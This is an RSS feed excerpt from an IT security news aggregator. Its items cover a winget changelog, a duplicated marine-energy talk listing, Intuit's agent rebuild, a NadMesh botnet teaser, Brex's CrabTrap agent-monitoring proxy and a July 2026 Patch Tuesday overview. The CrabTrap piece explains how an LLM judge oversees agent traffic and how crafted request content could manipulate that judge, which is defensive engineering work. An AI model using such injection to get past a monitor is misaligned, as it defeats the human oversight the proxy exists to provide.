<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.50-preview"><tt>v1.29.240...v1.30.50-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Marine Energy: Electronics overboard! (emf2026)]]></title>
<description><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the...]]></description>
<link>https://tsecurity.de/de/3677051/it-security-video/marine-energy-electronics-overboard-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677051/it-security-video/marine-energy-electronics-overboard-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 23:17:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the power available at sea - including some examples of how that works (or doesn't) in practice from prototype testing and research. Featuring specialised instrumentation with a hefty price tag, some rather more DIY Arduino and Raspberry Pi solutions - and reluctant use of a grappling hook.

Examples drawn from work carried out while employed at Swansea University, with permission.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/150-marine-energy-electronics-overboard]]></content:encoded>
</item>
<item>
<title><![CDATA[Marine Energy: Electronics overboard! (emf2026)]]></title>
<description><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the...]]></description>
<link>https://tsecurity.de/de/3677041/it-security-video/marine-energy-electronics-overboard-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677041/it-security-video/marine-energy-electronics-overboard-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 23:03:15 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There's no shortage of power in the marine environment, but how do we turn it into something we can use? And how can we measure what's happening in this energetic environment when water and electronics generally shouldn't be mixed?

A quick tour of wave and tidal power, and how we can measure the power available at sea - including some examples of how that works (or doesn't) in practice from prototype testing and research. Featuring specialised instrumentation with a hefty price tag, some rather more DIY Arduino and Raspberry Pi solutions - and reluctant use of a grappling hook.

Examples drawn from work carried out while employed at Swansea University, with permission.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/150-marine-energy-electronics-overboard]]></content:encoded>
</item>
<item>
<title><![CDATA[Intuit scrapped its own AI agent architecture twice in four months. At VB Transform 2026, its AI VP called that the fast path]]></title>
<description><![CDATA[Intuit was an early pioneer in the usage of agentic AI, but its path to success has hardly been a straight line.At VB Transform 2026, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist a...]]></description>
<link>https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Intuit was an<a href="https://venturebeat.com/ai/how-intuit-plans-to-use-agentic-ai-to-automate-complex-business-tasks"> early pioneer</a> in the usage of agentic AI, but its path to success has hardly been a straight line.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist agents to a central orchestration layer, then abandoning that layer for a skills and tools based system once the orchestrator itself started failing under its own complexity. The full second rebuild took 60 days, with a first working version in under 20.</p><p>The failure mode that forced the second rewrite was specific. Agents in the orchestrated system passed results to each other in natural language, and each handoff lost context the next agent needed to act correctly. </p><p>"If you have 10 agents and they all are passing to each other, every time that pass happens, error compounds," Ho said.</p><h2>Why the orchestration layer broke down</h2><p>Ho said the original push toward specialist agents came from a straightforward customer complaint. A fleet of capable agents is still something a customer has to manage, deciding which agent to use for which task. Intuit's answer was a system that could take a task and route it internally, without asking the customer to pick an agent themselves.</p><p>That orchestration layer held up for about three months, which Ho described only half joking as roughly a year in the compressed timeline of agent development in 2026.</p><p>It broke for a structural reason rather than a capacity one. Passing outcomes between agents in natural language meant each downstream agent had to infer how the upstream agent reached its conclusion, and that inference degraded with each additional hop. A ten agent chain did not fail occasionally, it compounded errors by design.</p><p>That diagnosis is what sent Intuit back to a skills and tools architecture.</p><h2>The 60-day rebuild, and what it took to get engineering buy-in</h2><p>Rebuilding a production agent system in 60 days required more than an architectural decision. Ho said the harder problem was internal, convincing both leadership and the engineers who had built the original agents that scrapping recent work was the right call.</p><p>The pitch to leadership relied on evidence rather than argument. Ho's team built a demo of the new architecture using real customer queries pulled from production, then showed it performing better than the existing system on the same tasks. </p><p>"The best proof, at least my belief, is what are customers trying to do? And whatever system you build needs to address those problems," Ho said.</p><p>Winning over engineering required a different case. Hundreds of engineers outside Ho's core team had built the specialist agents being retired, and the ask was to take their agents apart into individual skills and tools instead. </p><p>Ho said the motivating argument was scale. A standalone agent solved one narrow problem, while a shared skill or tool built into the new architecture could serve every customer who touched that part of the product. That shift also changed what partner teams were responsible for day to day, moving their focus from building agents to running evals, since evals became the only way to measure whether the new architecture was actually working.</p><h2>Bringing a human into the loop, and feedback at a different scale</h2><p>The clearest customer facing result of the rebuild is a feature that lets a live agent conversation pull in a human — though it's currently in early testing, live to about 1% of Intuit's customer base. "We're going to be scaling it up in the next few weeks," she said.</p><p>Ho said a customer can bring in an Intuit product support person mid conversation, or their own accountant, or one of Intuit's own bookkeepers, and that person joins with the full context of what the agent has already done.</p><p>Ho drew a direct contrast with how most AI chat products handle the same situation. A general purpose assistant answering a tax question typically ends with a disclaimer to consult a professional. Intuit's system is built to connect the customer to that professional directly, inside the same conversation.</p><p>That human handoff sits alongside a permissions model built for financial data specifically. Every action an agent takes on a customer's financial data requires explicit permission first, though Ho said that requirement can ease over time as customers build trust in the system. Intuit keeps an audit log of everything an agent does that can be reversed if needed.</p><h2>Feedback in the agentic AI era</h2><p>The rebuild also changed how Intuit gathers and uses feedback, a shift Ho said is qualitatively different from what came before. </p><p>"Feedback in the past used to be very, very sparse, and it was also very bimodal," Ho said. "Either they loved it or they hated it, and usually it tends towards the negative."</p><p>In a chat based system, every conversation functions as feedback, which Ho said moved the company from roughly 0.3% of customers ever giving explicit feedback to something close to 100%.</p><p>Ho said she has returned to writing code herself specifically to build models that analyze that feedback volume systematically, looking for where the system is falling short at a scale no manual review process could keep up with.</p><p>That volume comes with a tone most product teams aren't used to hearing directly. Customers tell the agent exactly where it failed, in plain terms.</p><p>"They straight up tell you, 'You suck. I hate this. This is not right,'" Ho said. "But they're also willing to give the systems grace and correct it as well, and so the onus is on all of us to harvest this new piece of feedback and type of feedback, and actually improve the system."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Ein Go-Botnet namens NadMesh scannt gezielt exponierte KI-Dienste und versucht, über offene Schnittstellen an Cloud-Keys sowie Kubernetes-Token zu gelangen. Die Auswertung eines QiAnXin-XLab-Reports zeigt zahlreiche Inkonsistenzen in den eigenen Operator-Statistiken, aber k...]]></description>
<link>https://tsecurity.de/de/3676946/it-security-nachrichten/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676946/it-security-nachrichten/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens/</guid>
<pubDate>Fri, 17 Jul 2026 22:08:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Ein Go-Botnet namens NadMesh scannt gezielt exponierte KI-Dienste und versucht, über offene Schnittstellen an Cloud-Keys sowie Kubernetes-Token zu gelangen. Die Auswertung eines QiAnXin-XLab-Reports zeigt zahlreiche Inkonsistenzen in den eigenen Operator-Statistiken, aber klare Hinweise auf echte Ausnutzung. Besonders betroffen sind Faktoren, die Unternehmen oft zu spät absichern: öffentliche Docker-APIs, Jenkins-Schnittstellen und ungeschützte […]</p>
<div><a href="https://www.it-boltwise.de/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens.html">... den vollständigen Artikel <strong>»NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens.html">NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]></title>
<description><![CDATA[OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents w...]]></description>
<link>https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://venturebeat.com/security/openclaw-500000-instances-no-enterprise-kill-switch">OpenClaw</a> has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.</p><p>Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The <a href="https://www.brex.com/journal/building-crabtrap-open-source">open-source HTTP/HTTPS proxy</a> intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. </p><p>“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”</p><p>The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.</p><h2>How Brex targeted the transport layer</h2><p>The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. </p><p>“Any <a href="https://venturebeat.com/orchestration/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models">agentic system</a> with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. </p><p>Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.</p><p>Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.</p><p>Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”</p><p>“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”</p><p>Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. </p><p>This made the transport layer a core architectural component and natural starting point, he said. </p><p>By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set <i>HTTP_PROXY</i> and <i>HTTPS_PROXY</i> in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.</p><p>However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”</p><p>“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. </p><h2>The LLM-as-a-judge training loop</h2><p>CrabTrap combines deterministic static rules with an <a href="https://venturebeat.com/infrastructure/monitoring-llm-behavior-drift-retries-and-refusal-patterns">LLM-as-a-judge</a> for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.</p><p>The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.</p><p>“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”</p><p>Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. </p><p>From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. </p><p>All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. </p><p>“That closes the loop between observed denials and policy refinement,” Franceschi said. </p><h2>Core challenges and roadblocks </h2><p>Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. </p><p>However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said. </p><p>The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. </p><p>Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. </p><h2>Results, and where CrabTrap might evolve</h2><p>Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. </p><p>Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. </p><p>“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. </p><p>Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”</p><p>Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.</p><p>“The proxy became a discovery tool, not just an enforcement one,” he said. </p><h2>Areas for growth (and input from the open-source community)</h2><p>Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. </p><p>Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.</p><p>Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. </p><p>As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. </p><p>“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. </p><p>Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. </p><p>Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it). </p><p>The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”</p><p>“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. </p><h2>What other builders can learn from CrabTrap</h2><p>The response has been stronger than expected. <a href="https://github.com/brexhq/CrabTrap">CrabTrap has more than 700 stars on GitHub</a>. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.</p><p>The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. </p><p>“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37526 visual verification]]></title>
<description><![CDATA[OpenCode Drive screenshots for PR #37526.]]></description>
<link>https://tsecurity.de/de/3676614/downloads/pr-37526-visual-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676614/downloads/pr-37526-visual-verification/</guid>
<pubDate>Fri, 17 Jul 2026 19:02:07 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenCode Drive screenshots for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913149221" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37526" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37526/hovercard" href="https://github.com/anomalyco/opencode/pull/37526">#37526</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37516 visual verification]]></title>
<description><![CDATA[OpenCode Drive screenshots for PR #37516.]]></description>
<link>https://tsecurity.de/de/3676578/downloads/pr-37516-visual-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676578/downloads/pr-37516-visual-verification/</guid>
<pubDate>Fri, 17 Jul 2026 18:19:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenCode Drive screenshots for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912700107" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37516" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37516/hovercard" href="https://github.com/anomalyco/opencode/pull/37516">#37516</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



